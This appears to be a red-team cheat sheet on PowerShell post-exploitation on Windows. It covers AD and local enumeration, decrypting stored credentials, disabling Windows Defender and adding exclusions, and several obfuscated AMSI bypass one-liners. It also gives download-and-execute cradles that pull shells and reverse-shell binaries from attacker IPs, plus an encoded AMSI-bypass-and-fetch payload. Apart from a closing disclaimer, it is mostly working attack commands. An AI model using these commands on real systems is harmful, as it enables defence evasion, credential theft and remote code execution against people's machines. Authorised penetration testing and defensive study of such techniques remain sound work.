PowerShell is a powerful post-exploitation tool native to Windows, ideal for red teamers and offensive security professionals. This guide walks through core commands, live memory execution, file transfers, AMSI bypasses, and recon strategies that can be applied during engagements.

🔐 User and Group Enumeration
Users and Groups
Get-LocalUser | ft Name,Enabled,Description,LastLogon
#Lists all local user accounts with key properties like name, status, description, and last logon.
Get-ChildItem C:\Users -Force | Select Name
#Lists all user profile folders, including hidden ones, on the system.
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
#Lists members of the Administrators group, showing their name and where they come from (local, domain, etc.).
#List all domain groups:
Get-ADGroup -Filter * | Select-Object Name
#Get details of a specific group (e.g., "Domain Admins"):
Get-ADGroup "Domain Admins" | Format-List *
#List members of a domain group:
Get-ADGroupMember "Domain Admins" | Select-Object Name, ObjectClass
#Recursive member listing (includes nested groups):
Get-ADGroupMember "Domain Admins" -Recursive | Select Name, ObjectClass
...........................................................................
#List all domain users:
Get-ADUser -Filter * | Select-Object Name, SamAccountName
Get-ADUser John
#Displays basic Active Directory user object info for user John. To get full properties, use:
#Get properties of a specific domain user (e.g., John):
Get-ADUser John -Properties * | Format-List
#List enabled users only:
Get-ADUser -Filter 'Enabled -eq $True' | Select Name, SamAccountName
#Find users with password never expires:
Get-ADUser -Filter * -Properties PasswordNeverExpires | Where-Object { $_.PasswordNeverExpires -eq $True } | Select Name
🔐 Credential Management
#Recover a plaintext password from an encrypted secure string (like one stored in Credential Manager)
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTBJohn"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : John
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : John
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
🔐 Services, Scheduled Tasks, and Privilege Checks
#See all services:
Get-Service
#Only running services:
Get-Service | Where-Object {$_.Status -eq "Running"}
#Format output:
Get-Service | Format-Table Name, Status, DisplayName
Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "Microsoft*" } | Format-Table TaskName, TaskPath, State
#You can also use | Select * for full task details or check task actions via:
Get-ScheduledTask | Where { $_.TaskPath -notlike "Microsoft*" } | Get-ScheduledTaskInfo
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
#Lists all running processes excluding those with names starting with svchost and displays only the ProcessName and Id in a table format.
Get-Acl -Path "C:\Program Files\Vuln Services" | Format-List
#This will show detailed permission entries such as the owner, access rights, and access control type (e.g., Allow/Deny) for that directory. Useful for auditing misconfigurations or privilege escalation vectors.
🔧 Privilege Escalation Checks
PowerUp and PrivescCheck are two popular PowerShell-based privilege escalation enumeration tools used by security professionals, red teamers, and pentesters during post-exploitation to identify local privilege escalation (LPE) opportunities on Windows systems.
. .\PowerUp.ps1 #Import PowerUp Modules
Invoke-AllChecks #Runs all the enumeration checks PowerUp provides
#Save Output to a File
Invoke-AllChecks | Tee-Object -FilePath .\PowerUp-Results.txt
#If ExecutionPolicy blocks script execution:
Set-ExecutionPolicy Bypass -Scope Process
. .\PrivescCheck.ps1 #Import PrivescCheck Modules
Invoke-PrivescCheck #Get detailed privilege escalation assessment
# Save output to a File
Invoke-PrivescCheck | Tee-Object -FilePath .\PrivescCheck-Results.txt
#If ExecutionPolicy blocks script execution:
Set-ExecutionPolicy Bypass -Scope Process
📊 Network and Environment Recon
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.10.14.$_") | select address, status }
#Sends ping requests to IPs in the 10.10.14.1 to 10.10.14.254 range
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
route print
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Get name, proto, local and remote ports, remote address, penable,profile and direction
#You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Get-ChildItem -Path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
#Recursively lists all registry keys and values under the SNMP (Simple Network Management Protocol) service configuration in the Windows Registry.
🔢 Post-Exploitation and Forensics
Get-Clipboard
#Retrieves the current content from the Windows clipboard
#For more complex formats (like images or files), use:
Get-Clipboard -Format FileDropList
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt"
# This reads your PowerShell command history from the default location where it's stored.
$shell = New-Object -ComObject shell.application
$rb = $shell.Namespace(10)
$rb.Items()
https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/
⚖️ Remote Access and Defense Evasion
enable-psremoting -force #This enables winrm
#Enable RDP connections:
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0
#Allow RDP through Windows Firewall:
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
# Bypass RDP Restriction:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
#Check status
Get-MpComputerStatus
Get-MpPreference | Select DisableRealtimeMonitoring #To confirm if Defender is disabled
Get-MpPreference | select Exclusion* | fl #Check exclusions
#Disable AV Antivirus remotely:
atexec.py ws01/administrator@10.10.188.199 'powershell.exe -c "Set-MpPreference -DisableRealtimeMonitoring $true"' -hashes ':a29542cb2707bf6d6c1d2c9311b0ff02
#Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#Registry-Based - To completely disable Windows Defender on a computer:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" `
-Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Add-MpPreference -ExclusionPath "C:/users/john/Desktop"
Set-MpPreference -ExclusionPath "C:/users/john/Desktop"
#Set-MpPreference (Built-in Defender Cmdlets)
#Disables real-time monitoring, script scanning, IOAV (Internet-originated file scanning)
#Turns off controlled folder access, sets Network Protection to audit mode
#Disables Microsoft Active Protection Service (MAPS) participation and automatic sample submission.
Set-MpPreference `
-DisableIntrusionPreventionSystem $true `
-DisableIOAVProtection $true `
-DisableRealtimeMonitoring $true `
-DisableScriptScanning $true `
-EnableControlledFolderAccess Disabled `
-EnableNetworkProtection AuditMode `
-Force `
-MAPSReporting Disabled `
-SubmitSamplesConsent NeverSend
AMSI Bypass Summary:
AMSI (amsi.dll
) is injected into PowerShell processes to scan code in memory. Because it’s loaded into a process you control, you can bypass it by overwriting specific memory instructions and effectively disabling detection. Most bypass techniques target and patch amsi.dll
in real-time to neutralize its scanning capabilities.
Try the AMSI Bypass Generator: https://amsi.fail/
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
🔮 PowerView and SharpView
PowerView: Script-based, great for live AD environments with PowerShell access.
SharpView: Part of the Sharp toolset (e.g., SharpHound); more OPSEC-safe and often used in C2 infrastructure or compiled payloads.
#Download and load PowerView into memory using:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
🔍 Finding PowerShell
C:\Windows\System64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Always verify which version is in use.
💡 Core Commands for Enumeration
atexec.py ws01/administrator@10.10.188.199 whoami
#If you want to provide the password inline - (Avoid passing plaintext passwords inline unless you're in a controlled lab environment):
atexec.py ws01/administrator:YourPassword@10.10.188.199 whoami
atexec.py ws01/administrator@10.10.188.199 'powershell -Command "whoami \$true"'
#After running this, you'll be prompted to enter the password.
Use the backslash (
\
) to escape the dollar sign ($
) in PowerShell only when the command is being passed inside quotes, especially in In Linux or bash-like shells (like when using Impacket tools).
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
You can also use Set-ExecutionPolicy Bypass
to disable script restrictions temporarily during assessments. powershell.exe -ep bypass
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -Query 'select * from win32_quickfixengineering' | ForEach-Object { $_.HotFixID }
#List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Get-ChildItem Env: | ft Key,Value
#Displays all environment variables in a table with their names (Key) and values.
$env:UserName
#Returns the name of the currently logged-in user (e.g., john).
Get-PSDrive | Where-Object { $_.Provider -like "Microsoft.PowerShell.Core\FileSystem" } | Format-Table Name, Root
#This helps identify mounted drives (like C:\, D:\, or mapped network drives) in the current session.
📥 Downloading & Running Remote Scripts
Payload delivery can be done using methods like:
powershell -c IEX(New-Object Net.WebClient).downloadstring('http://10.10.14.16/PowerUp.ps1') #Transfer and exeute
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.16:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.14.16/shell.ps1')|iex"
iex (iwr '10.10.14.16:8000/ipw.ps1') #From PSv3
powershell -c "Invoke-WebRequest -Uri http://10.10.0.255:8000/nc.exe -OutFile C:\Temp\nc.exe" #Download only
(New-Object Net.WebClient).DownloadFile("http://10.10.14.16:80/revshell.exe","C:/users/john/Desktop/revshell.exe")
wget "http://10.10.14.16/rev.exe" -OutFile "C:/Temp/rev.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.16/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
This article is for learning and legal security testing only. The author is not responsible for any misuse or damage caused, especially on unauthorized systems. If you choose to apply the information, you do so at your own risk and must ensure you have proper permission to test your targets.